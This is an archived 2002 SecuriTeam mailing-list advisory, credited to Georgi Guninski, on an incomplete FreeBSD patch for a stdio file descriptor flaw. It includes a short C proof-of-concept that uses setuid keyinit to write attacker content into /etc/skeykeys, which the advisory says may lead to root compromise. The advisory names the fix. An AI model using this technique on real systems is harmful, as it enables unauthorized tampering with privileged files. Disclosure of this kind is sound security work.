

[UNIX] Incomplete Patch for File Descriptor Vulnerability Allows Insertion of Arbitrary Content into Sensitive Files

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0142.html>

From: support@securiteam.com

Date: 07/31/02

From: support@securiteam.com

To: list@securiteam.com

Date: Wed, 31 Jul 2002 19:47:55 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Incomplete Patch for File Descriptor Vulnerability Allows Insertion of Arbitrary Content into Sensitive Files

SUMMARY

It is possible to inject user-supplied input to file descriptors 0..2, which in some cases (for example if the user is permitted to execute 'su') may lead to a root compromise.

DETAILS

Several months ago <<http://www.securiteam.com/unixfocus/5CP0A2A76W.html>>

Joost Pol made public almost the same problem. FreeBSD fixed it, but the patch does not cover all the cases. In some cases the kernel closes fds 0..2 after they are assigned to /dev/null, leaving the system open to an attack. If a +s file is executed and fds 0..2 are opened to /proc/curproc/{special} then the kernel forcefully closes them causing open() to reuse them.

To test whether you are vulnerable, examine the following C code:

```
#define MYFD 2
```

Securiteam: [UNIX] Incomplete Patch for File Descriptor Vulnerability Allows Insertion of Arbitrary Content into Sensitive

```
while( (f=dup(1)) != -1) ; // eat em up
close(MYFD); // free a fd
close(3); // this is sometimes needed because execve() fails
f=open("/proc/curproc/mem",O_WRONLY); // get a fd which the kernel will
close
// in a bad moment
if (f==-1) fprintf(stdout,"Error in open /proc\n");
execl("/usr/bin/keyinit","\n0xcafebabe\n",0);
-----
```

On a vulnerable system, 0xcafebabe will be inserted into the /etc/skeykeys file.

Workaround/Solution:
FreeBSD-SA-02:23.stdio fixes the problem.

ADDITIONAL INFORMATION

The information has been provided by <mailto:guninski@guninski.com>
Georgi Guninski.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] Combing IE and .XLA leads to Security Vulnerabilities"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)